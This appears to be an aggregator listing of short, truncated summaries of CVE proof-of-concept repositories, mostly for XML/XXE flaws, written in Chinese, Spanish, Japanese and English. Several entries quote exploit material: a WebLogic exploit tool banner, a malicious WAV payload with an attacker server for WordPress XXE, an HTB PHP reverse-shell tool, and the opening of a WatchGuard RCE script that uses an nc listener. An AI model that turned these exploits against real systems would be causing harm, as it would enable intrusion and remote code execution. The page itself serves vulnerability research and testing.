CVE-2026-83606

xmldom is a pure JavaScript W3C standard-based XML DOM Level 2 Core...

CVE-2026-83614

xmldom is a pure JavaScript W3C standard-based XML DOM Level 2 Core...

CVE-2023-45612-PoC

CVE-2023-45612 https://nvd.nist.gov/vuln/detail/CVE-2023-45612 CVE描述 在JetBrains Ktor 2.3.5之前，ContentNegotiation的默认配置与XML格式存在XXE漏洞。 该漏洞由@marychatte于2023年9月29日修复（https://github.com/ktorio/ktor/pull/3770），漏洞是由于外部库xmlutil version 0.86.1中的配置错误导致的供应链攻击。...

expat_2_1_0_CVE-2024-28757

Expat, versión 2.1.0 Esto es Expat, una biblioteca de C para analizar XML, escrita por James Clark. Expat es un analizador de XML orientado a flujo. Esto significa que registra manejadores con el analizador antes de comenzar el análisis. Estos manejadores se invocan cuando el analizador descubre...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ 安全验证器 一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器，在内存中生成针对目标的 Spring XML，发送精心构造的 OpenWire 数据包，将回调与唯一令牌关联，并写入 CSV/JSON 证据。 该项目专为授权渗透测试和资产清单验证而设计。它刻意不 实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。 验证器能证明什么 提供两种固定的验证模式： rce 执行一个固定的、只读的身份探测命令，并将其输出返回给内置 HTTP...

CVE-2019-10172

CVE-2019-10172 https://vulners.com/cve/CVE-2019-10172 No se conoce ninguna versión no vulnerable de este componente/paquete. Se recomienda investigar componentes alternativos o un posible control de mitigación. Mitigación 1. Deseable Intentar cambiar el uso de com.codehaus.jackson por...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 本项目用于验证和测试零日 log4j 漏洞 验证依赖 ./mvnw dependency:list 补丁 A 设置环境变量 LOG4JFORMATMSGNOLOOKUPS=true B 添加虚拟机选项 -Dlog4j2.formatMsgNoLookups=true C.1 添加属性 log4j2.formatMsgNoLookups=true（无效） C.2 添加属性 log4j.formatMsgNoLookups=true（无效） D 更新 2.15.0 E 在 log4j2.xml 中将 %m 替换为 %mnolookups...

CVE-2025-12748

CVE-2025-12748 Eng Rus Credit: Svyatoslav Tereshin @TERESH1, Artem Mukhin @saladosss Issues: 687, 825 English 説明 XMLファイルの処理手順に問題が発見されました。 ファイルの内容の処理は、ACL チェックの前に実行されます。これにより、権限が制限されたユーザーが特別に細工された XML ファイルを送信し、過剰なリソース消費を引き起こし、サービス拒否 DoS 攻撃の可能性をもたらします。 環境設定 1. OS: Alt Linux P10 server 2. 記事 ロシア語 に従...

CVE-2017-15950

CVE-2017-15950 PoC de exploit para la vulnerabilidad CVE-2017-15950 SyncBreeze XML Parser y/o funcionalidad Sync Stack-Based Buffer Overflow. Uso Al ejecutar el generador de payload XML, el script generará un archivo XML xplSyncBreeze.xml que contiene el payload para importar usando SyncBreeze...

Blackash-CVE-2025-58360

🔓 🛰️ 'CVE-2025-58360' GeoServer WMS 端点易受 XXE 攻击 🌟 🏷️ 基本信息 CVE ID : CVE-2025-58360 发布时间 : 📅 2025年11月25日 最后修改 : 📅 2025年11月25日（截至11月26日仍为最新） 漏洞类型 : XML 外部实体 XXE – CWE-611 受影响软件 : GeoServer（用 Java 编写的开源地理空间服务器） 严重性 : 🔥 高 – CVSS v3.1 基础评分 7.5 向量: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L 野外利用情况 : 🟡...

CVE-2019-2725

CVE-2019-2725 WebLogic通用利用工具 - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 载荷构建器与利用 信息/帮助 root@kitploit: $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | | CVE-2017-3506 / CVE-2017-10271 /...

ktor-xxe-poc

ktor-xxe-poc 这是复现安全问题 CVE-2023-45612 的概念验证项目。 使用的版本 Ktor: 2.2.3 xmlutil: 0.84.3 Java: 17.0.6 Gradle: 9.1.0 Python: 3.13.7 如何运行 1. 构建并运行服务器： root@kitploit: ./gradlew build ./gradlew run 2. 测试 XXE 载荷： root@kitploit: python test.py 服务器将在 http://localhost:8080 上运行。...

Oracle-WebLogic-CVE-2017-10271

Oracle-WebLogic-CVE-2017-10271 WebLogic wls-wsat RCE CVE-2017-10271 漏洞描述 早期，黑客利用WebLogic WLS 组件漏洞对企业服务器发起大范围远程攻击，有大量企业的服务器被攻陷，且被攻击企业数量呈现明显上升趋势，需要引起高度重视。其中，CVE-2017-3506是一个利用Oracle WebLogic中WLS 组件的远程代码执行漏洞，属于没有公开细节的野外利用漏洞，大量企业尚未及时安装补丁。官方在 2017 年 4 月份就发布了该漏洞的补丁。 CVE-2017-3506补丁说明： root@kitploit:...

ktor-cve-2023-45612-poc

Ktor XXE 漏洞概念验证（CVE-2023-45612） 摘要 影响：通过构造包含 XXE 引用的 XML DTD，可任意访问文件。 根因：不安全的 XML 文档解析器。 本仓库包含一个存在漏洞的 Ktor 2.3.4 应用，其配置允许外部实体，从而使 XXE 效果可见。 描述 用于 XML 外部实体注入（CVE-2023-45612）概念验证的易受攻击的 Ktor（v2.3.4）应用。 CVE-2023-45612 是 Ktor ContentNegotiation 中的一个 XXE（XML 外部实体）漏洞，当在 2.3.5. 之前的版本中启用 XML 时触发。 该漏洞对应...

CVE-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf VariaType 可变字体生成器漏洞利用工具 此仓库包含针对 Hack The Box 上 VariaType 机器的专用漏洞利用工具。该漏洞利用利用了 fontTools 库或 Web 应用程序处理 .designspace XML 文件和元数据插值时的漏洞，以实现远程代码执行 RCE 。 📝 描述 该漏洞存在于字体生成过程中。通过构造恶意的 designspace 文件，我们可以将 PHP 反向 shell 载荷注入到字体的元数据中（特别是 字段）。当服务器处理这些文件以生成可变字体时，它会将输出写入用户定义的路径，从而允许我们将 .p...

CVE-2026-20224---XXE-Injection-en-Cisco-Catalyst-SD-WAN-Manager

CVE-2026-20224 - Cisco Catalyst SD-WAN Manager XXE インジェクション ⚠️ 免責事項 このツールは教育および研究目的にのみ使用されます このエクスプロイトは、書面による明示的な許可 を得たシステムにおいて、許可されたレッドチーム運用、侵入テスト、セキュリティ研究にのみ使用することを目的としています。許可されていない使用は違法であり、厳しく禁止されています。作者はこのツールの誤用について一切の責任を負いません。 自己責任で使用してください。 📋 説明 Cisco Catalyst SD-WAN Manager 旧 SD-WAN vManage...

CVE-2019-8997

CVE-2019-8997 Una vulnerabilidad de inyección de entidad externa XML XXE en el sistema de gestión consola de BlackBerry AtHoc en versiones anteriores a 7.6 HF-567 podría permitir a un atacante leer archivos locales arbitrarios del servidor de aplicaciones o realizar solicitudes en la red mediante...

external_expat_2.1.0_CVE-2022-43680

Expat, Release 2.1.0 这是 Expat，一个用于解析 XML 的 C 语言库，由 James Clark 编写。 Expat 是一个流式 XML 解析器。这意味着你需要在开始解析之前向解析器注册处理器。当解析器在文档中发现相关结构时，这些处理器会被调用。开始标签就是你可以为其注册处理器的结构类型之一。 Windows 用户应使用 expatwin32bin 包，其中包含预编译的库和可执行文件，以及供开发者使用的源代码。 Expat 是自由软件。你可以根据本包中 COPYING 文件所含许可证的条款复制、分发和修改它。该许可证与 MIT/X Consortium...

CVE-2021-29447

WordPress 5.6-5.7 - 認証済み Author+ XXE CVE-2021-29447 使用方法 ステップ1. WordPressを起動 root@kitploit: $ make up-wp ステップ2. 攻撃者用Webサーバーを起動 root@kitploit: $ make up-mal ステップ3. 悪意のあるWAVファイルを生成 wavefile npmを使わない場合 推奨 root@kitploit: $ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;...

watchguard_cve-2022-26318

WatchGuard CVE-2022-26318 WatchGuard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...